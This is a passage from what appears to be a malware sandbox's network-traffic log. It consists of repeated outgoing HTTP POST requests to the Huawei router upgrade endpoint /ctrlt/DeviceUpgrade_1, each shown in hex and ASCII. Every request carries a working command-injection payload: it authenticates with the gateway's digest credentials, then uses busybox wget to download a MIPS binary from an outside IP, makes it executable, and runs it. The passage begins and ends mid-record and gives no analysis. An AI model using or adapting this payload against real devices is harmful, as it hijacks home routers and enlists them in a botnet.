6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:30.814330101 CET	2955	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:34.913662910 CET	3065	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:42.844615936 CET	3276	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	156.241.82.56	37215	192.168.2.23	42524

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:27.288953066 CET	2872	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:29.278558969 CET	2903	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.838078976 CET	2982	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:36.701549053 CET	3116	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	42524	156.241.82.56	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:27.288953066 CET	2872	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:29.278558969 CET	2903	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 